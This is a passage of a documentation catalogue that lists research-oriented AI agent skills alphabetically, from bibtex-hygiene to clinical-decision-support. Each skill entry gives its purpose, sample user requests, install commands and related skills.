scripts. The agent installer copies the full skill folder. # bibtex-hygiene — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/bibtex-hygiene Clean, deduplicate and validate BibTeX/BibLaTeX bibliographies before submission. # `bibtex-hygiene` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** BibTeX, BibLaTeX, citations, references, LaTeX, bibliography ## When to use it Clean, deduplicate and validate BibTeX/BibLaTeX bibliographies before submission. Use when a .bib file has duplicate keys or works, missing fields, broken DOIs, lost acronym capitalization (e.g. "bert" instead of "BERT"), inconsistent page dashes, arXiv preprints that now have published versions, or when LaTeX/biber emits bibliography warnings. Includes a zero-dependency linter and normalizer. ## Example requests Ask your agent in plain language, for example: * *"My refs.bib has duplicates and BERT shows up lowercase in the bibliography. Clean it."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill bibtex-hygiene # GitHub CLI gh skill install KalarisLabs/research-agent-skills bibtex-hygiene ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`acm-sigconf`](/research-agent-skills/skills/acm-sigconf) * [`apa7`](/research-agent-skills/skills/apa7) * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`citation-management`](/research-agent-skills/skills/citation-management) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`reference-manager-interop`](/research-agent-skills/skills/reference-manager-interop) * [`elsevier-cas`](/research-agent-skills/skills/elsevier-cas) * [`ieee-transactions`](/research-agent-skills/skills/ieee-transactions) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/bibtex-hygiene/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # bids — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/bids Organizes, queries, validates, and converts neuroscience and biomedical datasets using the Brain Imaging Data Structure (BIDS) standard, covering MRI, PET… # `bids` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** [https://creativecommons.org/licenses/by/4.0/](https://creativecommons.org/licenses/by/4.0/) · **Version:** 1.1 · **Includes scripts** **Tags:** neuroimaging, BIDS, MRI, EEG, data standards, neuroscience ## When to use it Organizes, queries, validates, and converts neuroscience and biomedical datasets using the Brain Imaging Data Structure (BIDS) standard, covering MRI, PET, EEG, MEG, iEEG, EMG, NIRS, microscopy, motion capture, and behavioral data. Covers PyBIDS (BIDSLayout), the bids-validator, HeuDiConv, dcm2bids, BIDScoin, JSON sidecars, dataset\_description.json, events.tsv, participants.tsv, .bidsignore, and derivatives. Use when arranging raw data into BIDS directories and filenames. Use when converting DICOM scans to BIDS. Use when validating a dataset before OpenNeuro or DANDI submission. Use when querying files or sidecar metadata with PyBIDS. Use when writing BIDS derivatives. For extracellular Neuropixels analysis, use neuropixels-analysis instead. ## Example requests Ask your agent in plain language, for example: * *"How do I get all the T1w files for sub-03 out of my BIDS folder in Python?"* * *"I have DICOMs from a Siemens Prisma in sourcedata/dicom/sub-101/ses-1 with a T1 MPRAGE, two resting-state BOLD runs and an AP/PA spin-echo fieldmap pair. I ran dcm2bids\_helper and now need a config so the output lands as sub-101\_ses-1\_task-rest\_run-01\_bold.nii.gz and so on, with the fieldmaps getting IntendedFor. The conversion keeps failing with 'No matching description' for the fieldmaps. What should I do?"* * *"I'm about to put my EEG study with 40 participants on OpenNeuro. Its folders and files are named in my own lab convention and I have no idea what metadata I need. What do I need to do first so it's accepted?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill bids # GitHub CLI gh skill install KalarisLabs/research-agent-skills bids ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/bids/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # biopython — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/biopython Provides Biopython (Bio.Seq, Bio.SeqIO, Bio.Align, Bio.Entrez, Bio.Blast, Bio.PDB, Bio.Phylo, Bio.motifs, Bio.SeqUtils, Bio.Restriction) for sequence… # `biopython` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** Biopython License Agreement · **Version:** 1.3 **Tags:** sequence analysis, bioinformatics, BLAST, NCBI, phylogenetics, Python ## When to use it Provides Biopython (Bio.Seq, Bio.SeqIO, Bio.Align, Bio.Entrez, Bio.Blast, Bio.PDB, Bio.Phylo, Bio.motifs, Bio.SeqUtils, Bio.Restriction) for sequence handling, file parsing, NCBI access, BLAST, structures, and phylogenetic trees in Python. Reads, writes, and converts FASTA, GenBank, FASTQ, PDB, mmCIF, Newick, and NEXUS files. Use when manipulating or translating DNA, RNA, or protein sequences, converting sequence file formats, fetching records from NCBI via Entrez, running or parsing BLAST searches, doing pairwise or multiple sequence alignment, analyzing PDB structures, or building and editing phylogenetic trees. For quick lookups use gget; for multi-service integration use bioservices. ## Example requests Ask your agent in plain language, for example: * *"How do I reverse-complement a DNA string and translate it in Python?"* * *"I have a GenBank file called plasmid\_pUC19.gb and need a FASTA of just the CDS translations for each annotated gene, plus a GFF-free list of locus\_tags. I'm getting 'ValueError: Sequence content is undefined' on some features when I call feature.extract(record.seq). What's going on and how do I fix it?"* * *"I've got about 40 accession numbers for the cytochrome b gene from different mammals. I want to pull them from NCBI, line them up, and draw a tree showing how the species relate to each other, all in one Python script."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill biopython # GitHub CLI gh skill install KalarisLabs/research-agent-skills biopython ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`scikit-bio`](/research-agent-skills/skills/scikit-bio) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/biopython/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # bioservices — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/bioservices Unified Python interface to 40+ bioinformatics services. # `bioservices` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** GPLv3 license · **Version:** 1.4 · **Includes scripts** **Tags:** bioinformatics databases, UniProt, KEGG, ID mapping, life sciences ## When to use it Unified Python interface to 40+ bioinformatics services. Use when querying multiple databases (UniProt, KEGG, ChEMBL, Reactome) in a single workflow with consistent API. Best for cross-database analysis, ID mapping across services. For quick single-database lookups use gget; for sequence/file manipulation use biopython. ## Example requests Ask your agent in plain language, for example: * *"How do I map a list of UniProt accessions to KEGG gene IDs with bioservices?"* * *"I have a CSV called hits.csv with a column of human UniProt IDs (P04637, P38398, Q00987, etc.). For each one I need the KEGG pathways it belongs to, the Reactome pathway names, and any ChEMBL target ID. My script crashed with 'AttributeError: module bioservices has no attribute PSICQUIC' when I tried to add interactions too. Can you write the pipeline?"* * *"I'm studying imatinib and want one table that links its KEGG compound entry to the ChEBI and ChEMBL identifiers, plus whatever protein targets are listed, all pulled programmatically from the public databases. How should I go about it in Python?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill bioservices # GitHub CLI gh skill install KalarisLabs/research-agent-skills bioservices ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Related * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/bioservices/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # blip-2-vision-language — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/blip-2-vision-language Explains how to use Salesforce BLIP-2 (Q-Former bridging a frozen image encoder and an LLM such as OPT or FlanT5) through HuggingFace Transformers and LAVIS… # `blip-2-vision-language` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Multimodal, Vision-Language, Image Captioning, VQA, Zero-Shot ## When to use it Explains how to use Salesforce BLIP-2 (Q-Former bridging a frozen image encoder and an LLM such as OPT or FlanT5) through HuggingFace Transformers and LAVIS for image captioning, visual question answering, image-text matching, and feature extraction. Use when generating captions for images, building a VQA system, doing zero-shot image-text understanding without task-specific training, matching or retrieving images against text, or fitting a BLIP-2 model into limited GPU memory with INT8/INT4 quantization. Prefer LLaVA or InstructBLIP for instruction-following multimodal chat, and CLIP for plain image-text similarity. ## Example requests Ask your agent in plain language, for example: * *"I've got a folder of 2,000 camera-trap photos. Can I auto-generate a short caption for each one with BLIP-2?"* * *"I'm trying to load Salesforce/blip2-flan-t5-xxl in my lab's 16GB RTX 4080 with transformers and get 'CUDA out of memory' during from\_pretrained. I'm running VQA on histology slide thumbnails in ./slides/*.png. How do I get this to fit?"\* * *"I want to build a tool where users upload a photo and type a natural-language question about it, like 'how many people are wearing helmets?', and the model answers without me having to train anything on labeled data. What open model and approach should I use?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill blip-2-vision-language # GitHub CLI gh skill install KalarisLabs/research-agent-skills blip-2-vision-language ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`quantizing-models-bitsandbytes`](/research-agent-skills/skills/quantizing-models-bitsandbytes) * [`clip`](/research-agent-skills/skills/clip) * [`llava`](/research-agent-skills/skills/llava) * [`segment-anything-model`](/research-agent-skills/skills/segment-anything-model) * [`stable-diffusion-image-generation`](/research-agent-skills/skills/stable-diffusion-image-generation) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/blip-2-vision-language/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # brainstorming-research-ideas — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/brainstorming-research-ideas Guides researchers through structured ideation frameworks to discover high-impact research directions. # `brainstorming-research-ideas` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.0.0 **Tags:** Research Ideation, Brainstorming, Problem Discovery, Creative Thinking, Research Strategy ## When to use it Guides researchers through structured ideation frameworks to discover high-impact research directions. Use when exploring new problem spaces, pivoting between projects, or seeking novel angles on existing work. ## Example requests Ask your agent in plain language, for example: * *"I'm a second-year PhD student and I have no idea what to work on next. Help me find a good research direction?"* * *"My group has spent a year on sparse-autoencoder feature steering for Llama-3 8B and our last three experiments on the steering-eval repo all gave marginal gains. I'm thinking of pivoting, but I'm not sure whether to go more general, narrower, or move to another field entirely. Can you help me work out where to take this?"* * *"Everyone in my subfield says you must pick between model accuracy and privacy when training on hospital records. I want to figure out whether that trade-off is real and whether there's a paper in it. How should I think about it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill brainstorming-research-ideas # GitHub CLI gh skill install KalarisLabs/research-agent-skills brainstorming-research-ideas ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`autoresearch`](/research-agent-skills/skills/autoresearch) * [`creative-thinking-for-research`](/research-agent-skills/skills/creative-thinking-for-research) * [`hugging-science`](/research-agent-skills/skills/hugging-science) * [`scientific-brainstorming`](/research-agent-skills/skills/scientific-brainstorming) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/brainstorming-research-ideas/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # bulk-rnaseq — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/bulk-rnaseq End-to-end bulk RNA-seq orchestrator — takes raw FASTQ reads through QC and trimming (FastQC, fastp/Trim Galore), alignment and quantification (STAR, Salmon… # `bulk-rnaseq` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.1 · **Includes scripts** **Tags:** RNA-seq, transcriptomics, differential expression, alignment, bioinformatics ## When to use it End-to-end bulk RNA-seq orchestrator — takes raw FASTQ reads through QC and trimming (FastQC, fastp/Trim Galore), alignment and quantification (STAR, Salmon, featureCounts), assembles a gene-level counts matrix, then hands off to differential expression (pydeseq2), pathway/GSEA enrichment (pathway-enrichment), and publication figures (scientific-visualization). Use whenever the user has bulk RNA-seq reads or quant output and wants a complete, reproducible differential-expression workflow — e.g. "analyze my RNA-seq", "FASTQ to DESeq2", "run nf-core/rnaseq", "STAR/Salmon quantification", "build a counts matrix for DESeq2", or "go from reads to differentially expressed genes and enriched pathways". Routes between an nf-core/rnaseq (Nextflow) path and a standalone STAR/Salmon path, and covers experimental design, strandedness, and QC gates. For single-cell RNA-seq use the scanpy skill instead. ## Example requests Ask your agent in plain language, for example: * *"I have 12 paired-end FASTQ files from a mouse liver drug-treatment experiment. Can you take me from reads all the way to differentially expressed genes?"* * *"I ran Salmon on 8 samples (quant.sf files in salmon\_out/sample*/) against GRCh38 Ensembl release 110. How do I get a counts.csv and metadata file that PyDESeq2 will accept? PyDESeq2 errors out saying my counts aren't integers."\* * *"My collaborator sequenced treated vs. untreated tumor organoids in triplicate, but the treated ones were all run on a different lane and day than the controls. I want to know which pathways are changing between the two groups. How should I proceed?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill bulk-rnaseq # GitHub CLI gh skill install KalarisLabs/research-agent-skills bulk-rnaseq ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`arboreto`](/research-agent-skills/skills/arboreto) * [`database-lookup`](/research-agent-skills/skills/database-lookup) * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`nextflow`](/research-agent-skills/skills/nextflow) * [`pydeseq2`](/research-agent-skills/skills/pydeseq2) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/bulk-rnaseq/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # cell-press — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/cell-press Prepare manuscripts for Cell Press journals (Cell, Molecular Cell, Neuron, Immunity, Cell Reports, Cell Systems, iScience, Cell Metabolism, Current Biology… # `cell-press` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** Cell Press, Cell, Neuron, Cell Reports, STAR Methods, graphical abstract, highlights, journal formatting ## When to use it Prepare manuscripts for Cell Press journals (Cell, Molecular Cell, Neuron, Immunity, Cell Reports, Cell Systems, iScience, Cell Metabolism, Current Biology and others), covering Summary, Highlights, eTOC blurb and graphical abstract, STAR Methods with the Key Resources Table, resource availability (lead contact, materials, data and code), figure and statistics requirements, and Cell Press formatting at submission vs revision. Use when targeting a Cell Press journal, writing highlights or a graphical abstract, or converting methods into STAR Methods. ## Example requests Ask your agent in plain language, for example: * *"Write highlights, an eTOC blurb and the Key Resources Table for our Cell Reports submission."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill cell-press # GitHub CLI gh skill install KalarisLabs/research-agent-skills cell-press ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`protocolsio-integration`](/research-agent-skills/skills/protocolsio-integration) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [`peer-review`](/research-agent-skills/skills/peer-review) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/cell-press/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # cellxgene-census — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/cellxgene-census Query the CZ CELLxGENE Census programmatically for versioned public single-cell and spatial transcriptomics data. # `cellxgene-census` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.3 **Tags:** single-cell, transcriptomics, public datasets, spatial transcriptomics, bioinformatics ## When to use it Query the CZ CELLxGENE Census programmatically for versioned public single-cell and spatial transcriptomics data. Use when you need population-scale cell metadata, gene expression slices, Census summary counts, source H5AD URIs/downloads, embeddings, spatial Census data, or reference atlas comparisons across organisms, tissues, diseases, assays, and cell types. For analyzing your own local single-cell data use scanpy, anndata, or scvi-tools. ## Example requests Ask your agent in plain language, for example: * *"How many primary human B cells are in the latest Census LTS release, broken down by tissue?"* * *"I'm writing a methods section for a lung fibrosis paper. I need all primary Homo sapiens cells from lung with disease 'pulmonary fibrosis' from CELLxGENE, only the columns cell\_type, donor\_id, dataset\_id and assay, plus expression for SFTPC and KRT5, loaded into an AnnData I can pass to scanpy. My laptop has 16 GB RAM and my first attempt with get\_anndata crashed with a memory error."* * *"I want to train a cell type classifier on millions of public human brain single-cell profiles without downloading every dataset by hand. What's the right way to stream that data into PyTorch and keep the training set reproducible?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill cellxgene-census # GitHub CLI gh skill install KalarisLabs/research-agent-skills cellxgene-census ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Related * [`anndata`](/research-agent-skills/skills/anndata) * [`arboreto`](/research-agent-skills/skills/arboreto) * [`scvi-tools`](/research-agent-skills/skills/scvi-tools) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/cellxgene-census/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # chroma — AI agent skill for knowledge and rag Source: https://docs.kalarislabs.com/research-agent-skills/skills/chroma Open-source embedding database for AI applications. Store embeddings and metadata, perform vector and full-text search, filter by metadata. # `chroma` **Category:** [knowledge-and-rag](/research-agent-skills/skills#knowledge-and-rag) · **License:** MIT · **Version:** 1.0.0 **Tags:** RAG, Chroma, Vector Database, Embeddings, Semantic Search, Open Source, Self-Hosted, Document Retrieval, Metadata Filtering ## When to use it Open-source embedding database for AI applications. Store embeddings and metadata, perform vector and full-text search, filter by metadata. Simple 4-function API. Scales from notebooks to production clusters. Use for semantic search, RAG applications, or document retrieval. Best for local development and open-source projects. ## Example requests Ask your agent in plain language, for example: * *"How do I set up a local Chroma DB for my paper embeddings?"* * *"I'm building a RAG pipeline over 4,000 PDF methods sections saved in ./papers/. I chunked them into \~500-token pieces and call collection.add(documents=chunks, ids=ids) with chromadb 1.3.3, but I get 'DuplicateIDError' halfway through and my notebook loses everything on restart. How do I fix both?"* * *"I have about 20k abstracts from our lab's literature collection and want to find the ones related to a question I type in plain English. I'd like it to run on my laptop, be free and open source, let me restrict results to papers after 2020, and not need a cloud account. What should I use and how should I set it up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill chroma # GitHub CLI gh skill install KalarisLabs/research-agent-skills chroma ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `knowledge-and-rag` category with `/plugin install knowledge-and-rag@research-agent-skills`. ## Related * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/chroma/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # cirq — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/cirq Google quantum computing framework. # `cirq` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** Apache-2.0 license · **Version:** 1.1 **Tags:** quantum computing, quantum circuits, noise modeling, physics ## When to use it Google quantum computing framework. Use when targeting Google Quantum AI hardware, designing noise-aware circuits, or running quantum characterization experiments. Best for Google hardware, noise modeling, and low-level circuit design. For IBM hardware use qiskit; for quantum ML with autodiff use pennylane; for physics simulations use qutip. ## Example requests Ask your agent in plain language, for example: * *"How do I add depolarizing noise to every gate in a Cirq circuit and compare the result to the ideal one?"* * *"I'm running cirq 1.6.1 with cirq-google and my 12-qubit circuit in qaoa\_maxcut.py fails on a Willow processor target with 'Operation not supported by device gateset' (a CZ-decomposed circuit with a raw CNOT left in). How do I get it to compile and validate before submitting through Quantum Engine?"* * *"I want to measure how good the two-qubit gates are on my 20-qubit chip by running random circuits of increasing depth and fitting the fidelity decay. Can you set up the characterization experiment and analysis in Python using Google's stack?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill cirq # GitHub CLI gh skill install KalarisLabs/research-agent-skills cirq ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/cirq/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # citation-management — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/citation-management Searches OpenAlex, PubMed, and Google Scholar, extracts metadata from DOIs, PMIDs, PMCIDs, arXiv IDs, and URLs via CrossRef, PubMed, and arXiv, then formats… # `citation-management` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** citations, BibTeX, references, DOI, PubMed, reference management ## When to use it Searches OpenAlex, PubMed, and Google Scholar, extracts metadata from DOIs, PMIDs, PMCIDs, arXiv IDs, and URLs via CrossRef, PubMed, and arXiv, then formats, deduplicates, and validates BibTeX files using bundled Python scripts (search\_openalex.py, extract\_metadata.py, format\_bibtex.py, validate\_citations.py, doi\_to\_bibtex.py). Use when converting DOIs or PMIDs to BibTeX, finding papers on a topic, filling missing volume, pages, or DOI fields, cleaning or merging .bib files with duplicate entries, or checking a bibliography for errors before submission. Not for systematic review search methodology or synthesis; use literature-review for that. ## Example requests Ask your agent in plain language, for example: * *"turn these into bibtex: 10.1038/s41586-021-03819-2, PMID 31452104, arXiv:1706.03762"* * *"My refs.bib has \~120 entries merged from Zotero and a PubMed export, and I'm seeing the same paper under keys like smith2020 and Smith2020deep. Several @article entries have no volume or pages. Can you merge/dedupe it, fill in the gaps, and make sure it's clean before I submit to Bioinformatics? Don't overwrite the original file."* * *"I'm writing a background section on single-cell foundation models and need a starter set of the most-cited recent papers on that topic, with entries I can drop straight into my LaTeX bibliography."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill citation-management # GitHub CLI gh skill install KalarisLabs/research-agent-skills citation-management ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`autoskill`](/research-agent-skills/skills/autoskill) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`paper-lookup`](/research-agent-skills/skills/paper-lookup) * [`pyzotero`](/research-agent-skills/skills/pyzotero) * [`reference-manager-interop`](/research-agent-skills/skills/reference-manager-interop) * [`research-lookup`](/research-agent-skills/skills/research-lookup) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/citation-management/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # citation-verification — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/citation-verification Verify that every reference in a manuscript really exists and matches its metadata, catching hallucinated, corrupted or mismatched citations before submission. # `citation-verification` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** citations, hallucination, DOI, Crossref, OpenAlex, arXiv, references, research integrity ## When to use it Verify that every reference in a manuscript really exists and matches its metadata, catching hallucinated, corrupted or mismatched citations before submission. Use when checking a .bib file or reference list, after an AI assistant drafted citations, when a DOI may point to the wrong paper, when adding missing DOIs, or before camera-ready. Queries Crossref, OpenAlex and arXiv; zero dependencies. ## Example requests Ask your agent in plain language, for example: * *"ChatGPT wrote my references. Check that every entry in references.bib actually exists."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill citation-verification # GitHub CLI gh skill install KalarisLabs/research-agent-skills citation-verification ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`apa7`](/research-agent-skills/skills/apa7) * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`citation-management`](/research-agent-skills/skills/citation-management) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`dhdna-profiler`](/research-agent-skills/skills/dhdna-profiler) * [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) * [`ieee-transactions`](/research-agent-skills/skills/ieee-transactions) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/citation-verification/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # clinical-decision-support — AI agent skill for clinical and health Source: https://docs.kalarislabs.com/research-agent-skills/skills/clinical-decision-support Prepare and validate research-only clinical decision-support evaluation, evidence-profile, cohort, survival, biomarker/model, privacy, and governance… # `clinical-decision-support` **Category:** [clinical-and-health](/research-agent-skills/skills#clinical-and-health) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** clinical research, decision support, evidence profiles, survival analysis, medicine ## When to use it Prepare and validate research-only clinical decision-support evaluation, evidence-profile, cohort, survival, biomarker/model, privacy, and governance artifacts. Use for aggregate or synthetic research documentation and traceability—not patient care or live clinical operation. ## Example requests Ask your agent in plain language, for example: * *"Can you check my survival analysis plan JSON before we submit the protocol?"* * *"I have aggregate confusion counts and 10 calibration bins for our locked sepsis-biomarker v2.3 assay, split by sex and age band, in model\_eval.json. I need descriptive sensitivity/specificity with confidence intervals and subgroup gaps for the TRIPOD+AI supplement. Small cells need suppressing. Can you run that?"* * *"We're putting together a GRADE summary for a guideline-adjacent evidence review on anticoagulant outcomes. I want a structured table where each outcome's judgments are tied to our included studies, and I want to confirm every citation link resolves. Can you set it up so my panel can fill it in?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill clinical-decision-support # GitHub CLI gh skill install KalarisLabs/research-agent-skills clinical-decision-support ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `clinical-and-health` category with `/plugin install clinical-and-health@research-agent-skills`. ## Related * [`clinical-reports`](/research-agent-skills/skills/clinical-reports) * [`treatment-plans`](/research-agent-skills/skills/treatment-plans) * [`pathml`](/research-agent-skills/skills/pathml) * [Skills for medicine and clinical research](/research-agent-skills/fields/medicine) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/clinical-decision-support/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # clinical-reports — AI agent skill for clinical and health Source: https://docs.kalarislabs.com/research-agent-skills/skills/clinical-reports Generates fail-closed draft JSON templates and runs local deterministic structure 